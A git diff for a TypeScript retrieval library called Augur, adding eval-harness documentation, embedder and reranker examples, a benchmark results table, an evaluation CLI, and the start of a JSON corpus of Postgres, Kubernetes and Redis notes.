diff --git a/DEVELOPMENT_GUIDE.md b/DEVELOPMENT_GUIDE.md index ed7f941..e7e6dfd 100644 --- a/DEVELOPMENT_GUIDE.md +++ b/DEVELOPMENT_GUIDE.md @@ -84,6 +84,25 @@ pnpm typecheck Useful in CI as a fast gate before the slower `build`. +### Run the eval harness + +```bash +pnpm eval # 32-doc corpus, 50 queries +pnpm eval -- --verbose # per-query lines +pnpm eval -- --save baseline.json # snapshot +pnpm eval -- --compare baseline.json # diff vs snapshot +``` + +Reports NDCG@10 / MRR / Recall@10 — overall, per category, per +router-chosen strategy. The harness instantiates a default `Augur`, +indexes the corpus, runs every query, and grades the retrieved chunks +against the labeled relevant docs. Because the runner is a pure function +of an `Augur` instance, swap the embedder, adapter, router, or reranker +between runs to measure the real impact of any change. + +Corpus and queries live at `evaluations/{corpus,queries}.json` — +add domain-specific labeled pairs there to evaluate on your own data. + ### Format ```bash diff --git a/EXAMPLES.md b/EXAMPLES.md index 9c209d4..aabb73b 100644 --- a/EXAMPLES.md +++ b/EXAMPLES.md @@ -134,6 +134,199 @@ const augr = new Augur({ Three constructor args. No code changes elsewhere. The router automatically adapts to Pinecone's keyword-incapable status (it stops picking keyword and lets the reranker carry precision). +### Picking a better default embedder (no API key needed) + +The default `HashEmbedder` is a feature-hashed bag-of-tokens — useful as +a deterministic placeholder, but its vectors are not semantically +meaningful. Three offline upgrade paths: + +**TF-IDF (no extra deps).** Feature-hashed TF-IDF with Porter stemming and +stopword removal — the classical IR baseline: + +```ts +import { Augur, TfIdfEmbedder, MetadataChunker, SentenceChunker } from "@augur/core"; + +const augr = new Augur({ + embedder: new TfIdfEmbedder(), + chunker: new MetadataChunker({ base: new SentenceChunker() }), +}); +``` + +**Local sentence-transformer (recommended for production-grade local).** +`LocalEmbedder` runs a real sentence-transformer model entirely on-device +via `@huggingface/transformers` (ONNX Runtime). Default model is +`Xenova/all-MiniLM-L6-v2` (~22MB, 384d). First run downloads the model +to `~/.cache/huggingface/hub`; subsequent runs are instant. + +```ts +import { + Augur, + LocalEmbedder, + LocalReranker, + MetadataChunker, + SentenceChunker, +} from "@augur/core"; + +const augr = new Augur({ + embedder: new LocalEmbedder(), // 22MB, 384d + reranker: new LocalReranker(), // 22MB cross-encoder + chunker: new MetadataChunker({ base: new SentenceChunker() }), +}); +``` + +You'll need to install the optional peer dep: + +```bash +pnpm add @huggingface/transformers +``` + +For higher accuracy at a slightly larger size, swap the model and supply +the model's required prefixes: + +```ts +// BGE-small: top of MTEB at this size; query prefix required. +new LocalEmbedder({ + model: "Xenova/bge-small-en-v1.5", + queryPrefix: "Represent this sentence for searching relevant passages: ", +}); + +// E5-small: balanced; both prefixes required. +new LocalEmbedder({ + model: "Xenova/e5-small-v2", + queryPrefix: "query: ", + docPrefix: "passage: ", +}); + +// nomic-embed-text-v1.5: 768d, 137MB; instruction-tuned. +new LocalEmbedder({ + model: "nomic-ai/nomic-embed-text-v1.5", + dimension: 768, + queryPrefix: "search_query: ", + docPrefix: "search_document: ", +}); +``` + +`MetadataChunker` wraps any base chunker and prepends +`[doc-id | topic | title]` to each chunk before embedding — the +"Doc2Query lite" pattern. + +**Measured impact on the bundled 504-query eval (no API keys):** + +``` +HashEmbedder (default) NDCG@10 = 0.786 +TfIdfEmbedder NDCG@10 = 0.825 (+0.039) +TfIdfEmbedder + MetadataChunker NDCG@10 = 0.848 (+0.062) +LocalEmbedder (all-MiniLM-L6-v2) NDCG@10 = 0.845 (+0.059) +LocalEmbedder + LocalReranker NDCG@10 = 0.877 (+0.091) +LocalEmbedder + LocalReranker + MetadataChunker NDCG@10 = 0.899 (+0.113) +LocalEmbedder + LocalReranker + MetadataChunker + stemmed BM25 NDCG@10 = 0.910 (+0.124) +``` + +Vector-strategy NDCG goes from 0.638 (HashEmbedder) to **0.922** with the +full local stack — the kind of jump you typically need a hosted API for. + +### Doc2Query — synthetic-question expansion at index time + +For each chunk, generate N questions the chunk could answer using a small +T5 model (`Xenova/LaMini-T5-61M`, ~24MB), then append them to the chunk's +content before embedding and BM25 indexing. Cost is paid once at index; +**zero query-time latency**. Works particularly well on conversational +queries against reference-style content (and on non-English chunks +indexed alongside English questions). + +```ts +import { Augur, Doc2QueryChunker, SentenceChunker, MetadataChunker } from "@augur/core"; + +const augr = new Augur({ + chunker: new Doc2QueryChunker({ + base: new MetadataChunker({ base: new SentenceChunker() }), + numQueries: 3, // questions per chunk; more = better recall, longer index + model: "Xenova/LaMini-T5-61M", + }), +}); +``` + +Requires `@huggingface/transformers` (same dep as LocalEmbedder). + +### Query-aware hybrid weights + +`Augur.search()` now picks the BM25-vs-vector mix per query from the +router's signals — quoted phrases / specific tokens / very short queries +lean BM25 (0.3-0.4 vector weight), long natural-language questions lean +vector (0.7), default is 0.5. Production hybrid systems all do some +version of this; a fixed 0.5/0.5 mix under-weights whichever side is +wrong for the current query shape. + +No configuration needed — it's automatic when strategy = "hybrid". + +### Stemmed BM25 (`InMemoryAdapter({ useStemming: true })`) + +Turns on Porter stemming + English stopword filtering for the keyword +path. Same pipeline Lucene/Elasticsearch use by default. On the bundled +eval this single flag adds ~+0.022 NDCG@10 to *any* config and is the +biggest cheap win on quoted / named-entity / short keyword queries +(running ↔ runs, connection ↔ connections all collapse to one stem). + +```ts +import { Augur, InMemoryAdapter, LocalEmbedder, LocalReranker } from "@augur/core"; + +const augr = new Augur({ + adapter: new InMemoryAdapter({ useStemming: true }), + embedder: new LocalEmbedder(), + reranker: new LocalReranker(), +}); +``` + +### MMR (Maximal Marginal Relevance) for diverse top-K + +For ambiguous queries with multiple relevant docs, pure-relevance reranking +concentrates on near-duplicates. `MMRReranker` rebalances toward novelty: + +```ts +import { CascadedReranker, LocalReranker, MMRReranker, Augur } from "@augur/core"; + +// Cross-encoder narrows by relevance; MMR diversifies the survivors. +const reranker = new CascadedReranker([ + [new LocalReranker(), 50], + [new MMRReranker({ lambda: 0.7 }), 10], +]); + +const augr = new Augur({ reranker, /* ... */ }); +``` + +`λ = 1.0` is pure relevance; `λ = 0.7` is the standard "relevance with +diversity boost". Not enabled by default — on QA-style queries (one +relevant doc) MMR pushes hits out in favor of variety, which hurts. Reach +for it on multi-aspect queries, search-results pages, and RAG pipelines +where the LLM benefits from non-redundant context. + +### Picking a reranker + +The `Reranker` interface has five ready implementations: + +```ts +import { + HeuristicReranker, // zero-dep, sub-ms; weak baseline + LocalReranker, // local ONNX cross-encoder (~22MB) + CohereReranker, // hosted cross-encoder, multilingual v3 + JinaReranker, // hosted cross-encoder, multilingual v2 + CascadedReranker, // chain rerankers: cheap-broad → expensive-narrow +} from "@augur/core"; + +// Cascaded rerank — heuristic narrows 100 → 50, cross-encoder narrows 50 → 10: +const cascade = new CascadedReranker([ + [new HeuristicReranker(), 50], + [new LocalReranker(), 10], +]); +``` + +For any other cross-encoder hosted behind HTTP, implement the four-method +`Reranker` interface directly — it's about 30 lines. `HeuristicReranker` +is fine for a smoke test; cross-encoder rerankers are typically the +single biggest accuracy lever once embeddings are decent. Cascaded +reranking gives you both: cheap narrowing on a wide first pass, +expensive scoring only on the survivors. + --- ## 6. Postgres with pgvector diff --git a/README.md b/README.md index c71466e..3dfd645 100644 --- a/README.md +++ b/README.md @@ -103,12 +103,72 @@ Writing a new adapter is implementing five methods. See [`examples/custom-adapte | You bring | Augur provides | |-----------------------------------|--------------------------------------------------| -| Documents | Chunking (3 strategies) | -| (optional) An embedder + API key | A default `HashEmbedder` that runs offline | -| (optional) A vector DB | A default `InMemoryAdapter` | -| (optional) A reranker | A default `HeuristicReranker` + `CohereReranker` | +| Documents | Chunking (3 strategies + `MetadataChunker`, `Doc2QueryChunker` wrappers) | +| (optional) An embedder + API key | Offline: `HashEmbedder`, `TfIdfEmbedder`, `LocalEmbedder` (ONNX, no network). Hosted: `OpenAIEmbedder`, `GeminiEmbedder` | +| (optional) A vector DB | A default `InMemoryAdapter` (BM25 + brute-force vector + RRF hybrid) | +| (optional) A reranker | Offline: `HeuristicReranker`, `LocalReranker` (cross-encoder ONNX), `MMRReranker` (diversity). Hosted: `CohereReranker`, `JinaReranker`. Plus `CascadedReranker` for staged pipelines. | | Nothing | Routing, hybrid fusion, traces, dashboard, HTTP API | +## Evaluation + +Augur ships a built-in eval harness (**182 docs, 504 labeled queries** +across 12 archetypes — factoid, procedural, definitional, code, +error_code, quoted, short_kw, named_entity, negation, non_english, +ambiguous, internal). The corpus covers Postgres, Kubernetes, Redis, +networking, ML/AI, security/compliance, code snippets, company-internal +runbooks/policies, and 12 foreign languages (es, ja, fr, de, zh, ko, pt, +ru, ar, hi, it, vi). Metrics: NDCG@10, MRR, Recall@10 — overall, per +category, per router-chosen strategy. + +```bash +pnpm eval # default config +pnpm eval -- --verbose # per-query lines +pnpm eval -- --save baseline.json # snapshot metrics +pnpm eval -- --compare baseline.json # diff vs snapshot +pnpm eval -- --embedder tfidf # swap to TfIdfEmbedder (offline, no deps) +pnpm eval -- --embedder local # offline ONNX (Xenova/all-MiniLM-L6-v2, ~22MB) +pnpm eval -- --embedder local --reranker local # + cross-encoder reranker (~22MB) +pnpm eval -- --embedder local --reranker local --metadata-chunker # full local stack +pnpm eval -- --embedder local --reranker local --metadata-chunker --bm25-stem # best (0.910 NDCG@10) +pnpm eval -- --embedder local --reranker local --mmr --mmr-lambda 0.7 # diversity-aware top-K +pnpm eval -- --embedder gemini --gemini-cache-dir .cache/gemini # Gemini API w/ disk cache +``` + +### Reference numbers (no API keys, no network) + +Measured on the bundled 504-query / 182-doc eval. **All numbers below are +real, locally reproducible runs** — no remote APIs touched. + +| Config | NDCG@10 | MRR | Recall@10 | +| ----------------------------------------------------------------------------------------------- | ------: | -----: | --------: | +| `HashEmbedder` (default placeholder, not semantic) | 0.786 | 0.782 | 0.857 | +| `TfIdfEmbedder` | 0.825 | 0.816 | 0.906 | +| `TfIdfEmbedder` + `MetadataChunker` | 0.848 | 0.839 | 0.923 | +| `LocalEmbedder` (Xenova/all-MiniLM-L6-v2) | 0.845 | 0.835 | 0.924 | +| `LocalEmbedder` + `LocalReranker` (ms-marco-MiniLM cross-encoder) | 0.877 | 0.871 | 0.932 | +| `LocalEmbedder` + `LocalReranker` + `MetadataChunker` | 0.899 | 0.896 | 0.943 | +| `LocalEmbedder` + `LocalReranker` + `MetadataChunker` + stemmed BM25 (`useStemming`) | **0.910** | **0.907** | **0.956** | + +The best row uses ~44MB of on-device ONNX models, no network at query +time, and beats the HashEmbedder default by **+12.4% NDCG@10**, with +vector-strategy NDCG going from **0.638 → 0.922 (+28.4%)** and keyword +from 0.874 → 0.925 (+5.1%, almost entirely from Porter stemming). + +Hosted production embedders (Cohere v3, OpenAI text-embedding-3, Voyage) +typically lift another 5-10% on top of all-MiniLM-L6-v2. The harness is +a pure function of the `Augur` instance, so swap the embedder, adapter, +router, or reranker between runs to measure the impact of any change. + +### MMR for diverse top-K (opt-in) + +`MMRReranker` implements Maximal Marginal Relevance — useful when queries +have multiple distinct relevant docs and you want the top-K to span them +rather than concentrate on near-duplicates. **Not on by default**: on the +bundled QA-style eval where most queries have 1 relevant doc, MMR pushes +hits out of top-10 in favor of diversity (NDCG drops ~0.04). Reach for it +on multi-aspect queries, recommendation feeds, and RAG pipelines where +the LLM benefits from non-redundant context. See [EXAMPLES §5](EXAMPLES.md#5-switching-to-openai--pinecone) for wiring. + ## Status This is a v0.1 MVP under active development. It is small enough to read end-to-end in an afternoon and useful enough to point at a real RAG project tomorrow. Issues, ideas, and PRs welcome — see [DEVELOPMENT_GUIDE.md](./DEVELOPMENT_GUIDE.md). diff --git a/apps/dashboard/app/page.tsx b/apps/dashboard/app/page.tsx index 2444848..9e4e2b7 100644 --- a/apps/dashboard/app/page.tsx +++ b/apps/dashboard/app/page.tsx @@ -87,8 +87,11 @@ export default function PlaygroundPage() { Latency budget (ms) setBudget(e.target.value === "" ? "" : Number(e.target.value))} + onChange={(e) => + setBudget(e.target.value === "" ? "" : Math.max(0, Number(e.target.value))) + } className="mt-1 w-full bg-ink-800 border border-ink-700 rounded px-2 py-1.5" /> diff --git a/evaluations/cli.ts b/evaluations/cli.ts new file mode 100644 index 0000000..1dd2aa5 --- /dev/null +++ b/evaluations/cli.ts @@ -0,0 +1,230 @@ +/** + * Eval CLI. Loads corpus + queries from disk, runs the Augur pipeline, and + * prints aggregate + per-strategy + per-category metrics. + * + * Usage: + * pnpm eval # default config + * pnpm eval -- --verbose # per-query lines + * pnpm eval -- --save out.json # write metrics JSON + * pnpm eval -- --compare baseline.json # diff vs baseline + * pnpm eval -- --embedder tfidf # swap embedder (hash | tfidf) + * pnpm eval -- --metadata-chunker # prepend doc metadata to chunks + * pnpm eval -- --embedder tfidf --metadata-chunker --save tfidf-meta.json + */ +import { readFileSync, writeFileSync } from "node:fs"; +import { dirname, join } from "node:path"; +import { fileURLToPath } from "node:url"; +import { + Augur, + CascadedReranker, + Doc2QueryChunker, + GeminiEmbedder, + HashEmbedder, + HeuristicReranker, + InMemoryAdapter, + LocalEmbedder, + LocalReranker, + MetadataChunker, + MMRReranker, + SentenceChunker, + TfIdfEmbedder, + type Chunker, + type Embedder, + type Reranker, + type SemanticChunker, +} from "@augur/core"; +import { formatReport, runEval, type EvalDoc, type EvalQuery, type EvalReport } from "./runner.js"; + +const HERE = dirname(fileURLToPath(import.meta.url)); + +interface Args { + verbose: boolean; + save?: string; + compare?: string; + embedder: "hash" | "tfidf" | "gemini" | "local"; + reranker: "none" | "heuristic" | "local"; + localEmbedderModel?: string; + localEmbedderQueryPrefix?: string; + localEmbedderDocPrefix?: string; + localRerankerModel?: string; + geminiModel?: string; + geminiThrottleMs?: number; + geminiCacheDir?: string; + limit?: number; + metadataChunker: boolean; + doc2query: boolean; + doc2queryModel?: string; + doc2queryNumQueries?: number; + bm25Stem: boolean; + mmr: boolean; + mmrLambda: number; +} + +function parseArgs(argv: string[]): Args { + const out: Args = { + verbose: false, + embedder: "hash", + reranker: "heuristic", + metadataChunker: false, + bm25Stem: false, + mmr: false, + mmrLambda: 0.7, + doc2query: false, + }; + for (let i = 0; i < argv.length; i++) { + const a = argv[i]; + if (a === "--verbose" || a === "-v") out.verbose = true; + else if (a === "--save") out.save = argv[++i]; + else if (a === "--compare") out.compare = argv[++i]; + else if (a === "--embedder") { + const v = argv[++i]; + if (v !== "hash" && v !== "tfidf" && v !== "gemini" && v !== "local") { + throw new Error(`--embedder must be 'hash' | 'tfidf' | 'gemini' | 'local', got ${v}`); + } + out.embedder = v; + } else if (a === "--reranker") { + const v = argv[++i]; + if (v !== "none" && v !== "heuristic" && v !== "local") { + throw new Error(`--reranker must be 'none' | 'heuristic' | 'local', got ${v}`); + } + out.reranker = v; + } else if (a === "--local-embedder-model") out.localEmbedderModel = argv[++i]; + else if (a === "--local-embedder-query-prefix") out.localEmbedderQueryPrefix = argv[++i]; + else if (a === "--local-embedder-doc-prefix") out.localEmbedderDocPrefix = argv[++i]; + else if (a === "--local-reranker-model") out.localRerankerModel = argv[++i]; + else if (a === "--gemini-model") out.geminiModel = argv[++i]; + else if (a === "--gemini-throttle") out.geminiThrottleMs = parseInt(argv[++i]!, 10); + else if (a === "--gemini-cache-dir") out.geminiCacheDir = argv[++i]; + else if (a === "--limit") out.limit = parseInt(argv[++i]!, 10); + else if (a === "--metadata-chunker") out.metadataChunker = true; + else if (a === "--bm25-stem") out.bm25Stem = true; + else if (a === "--mmr") out.mmr = true; + else if (a === "--mmr-lambda") out.mmrLambda = parseFloat(argv[++i]!); + else if (a === "--doc2query") out.doc2query = true; + else if (a === "--doc2query-model") out.doc2queryModel = argv[++i]; + else if (a === "--doc2query-n") out.doc2queryNumQueries = parseInt(argv[++i]!, 10); + } + return out; +} + +function buildEmbedder(args: Args): Embedder { + if (args.embedder === "tfidf") return new TfIdfEmbedder(); + if (args.embedder === "gemini") { + return new GeminiEmbedder({ + ...(args.geminiModel ? { model: args.geminiModel } : {}), + ...(args.geminiThrottleMs !== undefined ? { throttleMs: args.geminiThrottleMs } : {}), + ...(args.geminiCacheDir ? { cacheDir: args.geminiCacheDir } : {}), + }); + } + if (args.embedder === "local") { + return new LocalEmbedder({ + ...(args.localEmbedderModel ? { model: args.localEmbedderModel } : {}), + ...(args.localEmbedderQueryPrefix !== undefined + ? { queryPrefix: args.localEmbedderQueryPrefix } + : {}), + ...(args.localEmbedderDocPrefix !== undefined + ? { docPrefix: args.localEmbedderDocPrefix } + : {}), + }); + } + return new HashEmbedder(); +} + +function buildReranker(args: Args): Reranker | null { + if (args.reranker === "none") return null; + if (args.reranker === "local") { + return new LocalReranker({ + ...(args.localRerankerModel ? { model: args.localRerankerModel } : {}), + }); + } + return new HeuristicReranker(); +} + +function loadJson(path: string): T { + return JSON.parse(readFileSync(path, "utf8")) as T; +} + +function diff(a: EvalReport, b: EvalReport): string { + const fmt = (x: number) => (x >= 0 ? "+" : "") + x.toFixed(3); + const out: string[] = []; + out.push(`Δ NDCG@10 ${fmt(a.aggregate.ndcg10 - b.aggregate.ndcg10)}`); + out.push(`Δ MRR ${fmt(a.aggregate.mrr - b.aggregate.mrr)}`); + out.push(`Δ Recall@10 ${fmt(a.aggregate.recall10 - b.aggregate.recall10)}`); + out.push(""); + out.push("By strategy (n / Δ NDCG@10):"); + const allStrategies = new Set([...Object.keys(a.byStrategy), ...Object.keys(b.byStrategy)]); + for (const s of allStrategies) { + const an = a.byStrategy[s]?.ndcg10 ?? 0; + const bn = b.byStrategy[s]?.ndcg10 ?? 0; + const ac = a.byStrategy[s]?.n ?? 0; + const bc = b.byStrategy[s]?.n ?? 0; + out.push(` ${s.padEnd(8)} n: ${bc}→${ac} ${fmt(an - bn)}`); + } + return out.join("\n"); +} + +async function main() { + const args = parseArgs(process.argv.slice(2)); + const corpus = loadJson(join(HERE, "corpus.json")); + const queries = loadJson(join(HERE, "queries.json")); + + const baseChunker = new SentenceChunker(); + let chunker: Chunker | SemanticChunker = baseChunker; + if (args.metadataChunker) { + chunker = new MetadataChunker({ base: chunker }); + } + if (args.doc2query) { + chunker = new Doc2QueryChunker({ + base: chunker, + ...(args.doc2queryModel ? { model: args.doc2queryModel } : {}), + ...(args.doc2queryNumQueries !== undefined ? { numQueries: args.doc2queryNumQueries } : {}), + }); + } + const embedder = buildEmbedder(args); + const baseReranker = buildReranker(args); + // If --mmr is set, cascade [base reranker → MMR] for diverse top-K. The + // base reranker narrows to a wider pool (50) on relevance; MMR diversifies + // the survivors down to the caller's topK. + let reranker: Reranker | null = baseReranker; + if (args.mmr) { + const mmr = new MMRReranker({ lambda: args.mmrLambda }); + reranker = baseReranker + ? new CascadedReranker([ + [baseReranker, 50], + [mmr, 10], + ]) + : mmr; + } + const adapter = new InMemoryAdapter({ useStemming: args.bm25Stem }); + + console.log( + `Config: embedder=${embedder.name} chunker=${(chunker as { name: string }).name} reranker=${reranker ? reranker.name : "none"} bm25-stem=${args.bm25Stem}` + + (args.metadataChunker ? " (metadata-prepend ON)" : "") + ); + console.log(); + + const augur = new Augur({ + embedder, + chunker, + adapter, + ...(reranker ? { reranker } : {}), + }); + const report = await runEval(augur, corpus, queries); + + console.log(formatReport(report, { verbose: args.verbose })); + + if (args.save) { + writeFileSync(args.save, JSON.stringify(report, null, 2)); + console.log(`\nSaved report → ${args.save}`); + } + if (args.compare) { + const baseline = loadJson(args.compare); + console.log("\nDiff vs baseline:"); + console.log(diff(report, baseline)); + } +} + +main().catch((err) => { + console.error(err); + process.exit(1); +}); diff --git a/evaluations/corpus.json b/evaluations/corpus.json new file mode 100644 index 0000000..aae45a1 --- /dev/null +++ b/evaluations/corpus.json @@ -0,0 +1,912 @@ +[ + { + "id": "pg-pooling", + "content": "PgBouncer is a connection pooler for PostgreSQL. It runs as a lightweight proxy in front of Postgres and reuses backend connections across many clients, avoiding the per-connection memory overhead. Use transaction pooling (pool_mode=transaction) for OLTP workloads with short-lived clients. Use session pooling when clients hold session state such as temporary tables or prepared statements. Pool size should be roughly (cores * 2) + effective_spindle_count, not the number of application threads.", + "metadata": { "topic": "postgres" } + }, + { + "id": "pg-vacuum", + "content": "VACUUM in PostgreSQL reclaims storage occupied by dead tuples. Autovacuum runs in the background and is tuned via autovacuum_vacuum_scale_factor and autovacuum_vacuum_threshold. For very large tables, lower the scale factor for that specific table to vacuum more frequently and avoid bloat-driven I/O storms. VACUUM FULL rewrites the whole table and takes an ACCESS EXCLUSIVE lock — prefer pg_repack in production to avoid locking writes.", + "metadata": { "topic": "postgres" } + }, + { + "id": "pg-replication", + "content": "PostgreSQL supports two replication modes. Streaming replication ships WAL segments to physical replicas — same major version, identical schema. Logical replication uses publications and subscriptions to replicate row changes between databases that may differ in version or schema. Use logical replication for cross-version upgrades and selective table replication.", + "metadata": { "topic": "postgres" } + }, + { + "id": "pg-explain", + "content": "EXPLAIN ANALYZE in Postgres shows the actual execution plan and runtime for a query. Watch for Seq Scans on large tables, mismatched row estimates (planner stats stale), and nested loops with high outer-loop counts. Use BUFFERS to see cache vs disk reads. ANALYZE the table after large data changes so the planner has fresh statistics.", + "metadata": { "topic": "postgres" } + }, + { + "id": "pg-pgvector", + "content": "pgvector adds a VECTOR column type and ANN indexes (ivfflat, hnsw) to PostgreSQL. CREATE EXTENSION vector. Define the column with VECTOR(1536) for OpenAI embeddings, VECTOR(768) for many BGE models. Use vector_cosine_ops for cosine distance, vector_l2_ops for Euclidean. ivfflat needs a populated table before index creation; hnsw can index on the fly.", + "metadata": { "topic": "postgres" } + }, + { + "id": "pg-indexes", + "content": "PostgreSQL index types each fit a workload. B-tree is the default and handles equality + ordered range queries. GiST handles geometric and full-text. GIN is best for JSONB containment, array overlap, and trigram (pg_trgm) full-text. BRIN compresses index size for huge naturally-ordered tables (timestamp logs). Use partial indexes (WHERE clause) for skewed boolean filters.", + "metadata": { "topic": "postgres" } + }, + { + "id": "pg-jsonb", + "content": "JSONB in Postgres stores parsed JSON in a binary format. Operators include -> (key access, returns jsonb), ->> (key access, returns text), @> (containment), and #> (path access). Index frequently filtered keys with a GIN index using jsonb_path_ops for containment-only or the default operator class for full querying. Avoid storing data you query as a fixed schema in JSONB — relational columns index better.", + "metadata": { "topic": "postgres" } + }, + { + "id": "pg-partitioning", + "content": "Declarative partitioning in PostgreSQL splits a table into partitions by RANGE, LIST, or HASH. Range partitioning suits time-series tables (one partition per month). The planner prunes partitions at query time when the partition key is a constant, avoiding scans of irrelevant partitions. Add a default partition to catch out-of-range inserts. Detach old partitions instead of DELETE for fast archival.", + "metadata": { "topic": "postgres" } + }, + { + "id": "pg-locks", + "content": "PostgreSQL row-level locks come in shared and exclusive flavors. SELECT ... FOR UPDATE acquires a row exclusive lock; FOR SHARE acquires a share lock. Use FOR UPDATE SKIP LOCKED to implement work queues without blocking. Advisory locks (pg_advisory_lock) are application-managed and do not block on row data — useful for cross-transaction coordination. Watch pg_locks and pg_stat_activity to diagnose contention.", + "metadata": { "topic": "postgres" } + }, + { + "id": "pg-wal", + "content": "The Postgres WAL (write-ahead log) records every change before it touches data files, enabling crash recovery and replication. Configure wal_level=replica or logical depending on replica needs. Archive WAL segments via archive_command for point-in-time recovery; combine with pg_basebackup for full restore. Monitor pg_stat_archiver to ensure archiving is keeping up.", + "metadata": { "topic": "postgres" } + }, + { + "id": "pg-roles", + "content": "Roles in PostgreSQL are unified accounts that can act as users, groups, or both. Use GRANT and REVOKE to manage privileges. Default privileges (ALTER DEFAULT PRIVILEGES) apply to objects created in the future, sparing you from rerunning grants after migrations. Avoid granting privileges to PUBLIC; create per-role groups instead. Set role_name in connection strings or via SET ROLE for per-session identity changes.", + "metadata": { "topic": "postgres" } + }, + { + "id": "pg-extensions", + "content": "Common Postgres extensions: pg_stat_statements (query metrics aggregated by normalized text), pg_trgm (trigram similarity for fuzzy matching), pgcrypto (hash/encrypt functions), uuid-ossp (UUID generators), postgres_fdw (foreign data wrappers for cross-DB queries), and pg_partman (managed partition rotation).", + "metadata": { "topic": "postgres" } + }, + { + "id": "k8s-probes", + "content": "Kubernetes liveness probes determine whether a container should be restarted. Readiness probes determine whether a pod can receive traffic. Startup probes run only during initial startup and disable the other two until they pass. Configure initialDelaySeconds, periodSeconds, and failureThreshold appropriately so slow startup paths do not get killed prematurely. A common antipattern is using the same HTTP endpoint for both liveness and readiness — separate them so a transient dependency outage does not trigger restarts.", + "metadata": { "topic": "kubernetes" } + }, + { + "id": "k8s-resources", + "content": "Kubernetes resource requests and limits control scheduling and throttling. Requests are what the scheduler reserves on a node; limits are hard ceilings enforced by the kernel cgroup. For CPU, exceeding the limit causes throttling. For memory, exceeding the limit causes the OOM killer to terminate the container. Best practice for CPU in latency-sensitive workloads: set requests but no limits, so bursting is allowed when the node has capacity.", + "metadata": { "topic": "kubernetes" } + }, + { + "id": "k8s-deployments", + "content": "Kubernetes Deployments manage rolling updates of pods. Strategy RollingUpdate (default) replaces pods incrementally with maxSurge and maxUnavailable knobs. Strategy Recreate kills all pods first, then starts new ones — only safe for workloads that cannot run two versions concurrently. Roll back with kubectl rollout undo deployment/. Pause and resume with kubectl rollout pause and kubectl rollout resume.", + "metadata": { "topic": "kubernetes" } + }, + { + "id": "k8s-services", + "content": "Kubernetes Services expose pods. ClusterIP is the default — internal-only virtual IP. NodePort opens a static port on every node. LoadBalancer provisions a cloud load balancer and is the production default for external traffic. Headless Services (clusterIP: None) skip the proxy and return pod IPs via DNS, useful for stateful apps and StatefulSets.", + "metadata": { "topic": "kubernetes" } + }, + { + "id": "k8s-rbac", + "content": "Kubernetes RBAC controls who can do what. Role grants permissions within a namespace; ClusterRole is cluster-scoped. RoleBinding and ClusterRoleBinding attach roles to users, groups, or ServiceAccounts. The API group is rbac.authorization.k8s.io. Audit which permissions a principal has with kubectl auth can-i --list.", + "metadata": { "topic": "kubernetes" } + }, + { + "id": "k8s-configmap", + "content": "ConfigMaps in Kubernetes hold non-secret configuration. Mount them as files (volumeMounts) when the app reads from disk, or project them as env vars via envFrom for twelve-factor apps. ConfigMap updates do not automatically restart pods; use a checksum annotation pattern (sha256 of the ConfigMap data) on the Deployment template to roll the pods on change.", + "metadata": { "topic": "kubernetes" } + }, + { + "id": "k8s-secrets", + "content": "Kubernetes Secrets are base64-encoded by default — not encrypted. Enable encryption at rest in etcd (EncryptionConfiguration) for real protection. For production, prefer external secret managers (AWS Secrets Manager, HashiCorp Vault, GCP Secret Manager) wired in via the External Secrets Operator. Rotate secrets by updating the source and triggering a rolling restart of consumers.", + "metadata": { "topic": "kubernetes" } + }, + { + "id": "k8s-statefulsets", + "content": "StatefulSets manage stateful apps in Kubernetes. Each pod gets a stable network identity (pod-0, pod-1) and its own PersistentVolumeClaim via volumeClaimTemplates. Pods are created and deleted in order. Use a Headless Service (clusterIP: None) to give clients direct DNS access to each replica. Common use cases: Postgres, ElasticSearch, Kafka.", + "metadata": { "topic": "kubernetes" } + }, + { + "id": "k8s-ingress", + "content": "Kubernetes Ingress routes HTTP(S) traffic to Services using rules and an Ingress controller (nginx, AWS ALB, GCP Cloud Load Balancing, Traefik). The newer Gateway API replaces Ingress with richer routing (HTTPRoute, GRPCRoute) and clearer separation between platform admin (Gateway) and app team (Route).", + "metadata": { "topic": "kubernetes" } + }, + { + "id": "k8s-networkpolicy", + "content": "Kubernetes NetworkPolicy applies allow-list rules at L3/L4 between pods. Default-deny in a namespace by applying an empty Ingress or Egress policy and then layering allow rules. NetworkPolicy requires a CNI that supports it (Calico, Cilium, Antrea); with vanilla Flannel it has no effect. Cilium supports L7 policies on top via its CRDs.", + "metadata": { "topic": "kubernetes" } + }, + { + "id": "k8s-hpa", + "content": "The Horizontal Pod Autoscaler scales replicas based on metrics. Default metrics are CPU and memory; custom metrics (request rate, queue depth) need the metrics.k8s.io API + an adapter. Set sensible behavior windows (scaleDown.stabilizationWindowSeconds=300) to avoid thrashing. KEDA is the de-facto choice for event-driven autoscaling against Kafka, SQS, etc.", + "metadata": { "topic": "kubernetes" } + }, + { + "id": "k8s-helm", + "content": "Helm packages Kubernetes manifests as charts. Charts have templates, values.yaml for defaults, and Chart.yaml for metadata. helm install creates a release; helm upgrade applies new values or chart versions. Use --atomic to roll back automatically on failure. For environments with many overrides, prefer a values-.yaml file per environment over long --set chains.", + "metadata": { "topic": "kubernetes" } + }, + { + "id": "redis-cache", + "content": "Redis is an in-memory key-value store often used as a cache in front of a database. It supports strings, hashes, lists, sets, and sorted sets, with optional persistence via RDB snapshots or AOF logs. For cache use cases, configure maxmemory and an eviction policy such as allkeys-lru. For session stores, prefer noeviction and a larger maxmemory so sessions are not silently dropped.", + "metadata": { "topic": "redis" } + }, + { + "id": "redis-pubsub", + "content": "Redis pub/sub provides at-most-once delivery: if a subscriber is offline or slow, messages are dropped. For durable messaging use Streams (XADD/XREAD/XACK), which keep messages on disk and support consumer groups with explicit acks. Streams are the right primitive for work queues; pub/sub is fine for ephemeral fanout such as cache-invalidation broadcasts.", + "metadata": { "topic": "redis" } + }, + { + "id": "redis-cluster", + "content": "Redis Cluster shards keys across 16384 hash slots distributed over masters. Each master can have one or more replicas for failover. Multi-key operations require all keys to map to the same slot — use hash tags {tag} to pin them. Persistence is per-node: configure RDB snapshots or AOF on each master independently.", + "metadata": { "topic": "redis" } + }, + { + "id": "redis-lua", + "content": "Redis EVAL runs Lua scripts atomically — no other command can interleave. Use SCRIPT LOAD + EVALSHA to avoid sending the script body on every call. Lua scripts are the cleanest way to implement compare-and-set semantics across multiple keys (e.g. atomic counters with caps, distributed rate limiters). Keep scripts short — they block the server while running.", + "metadata": { "topic": "redis" } + }, + { + "id": "redis-sentinel", + "content": "Redis Sentinel monitors a master/replica setup and performs failover when the master is down. Run an odd number of Sentinels (3 or 5) for quorum. Sentinel updates clients of the new master via the SENTINEL get-master-addr-by-name command. For 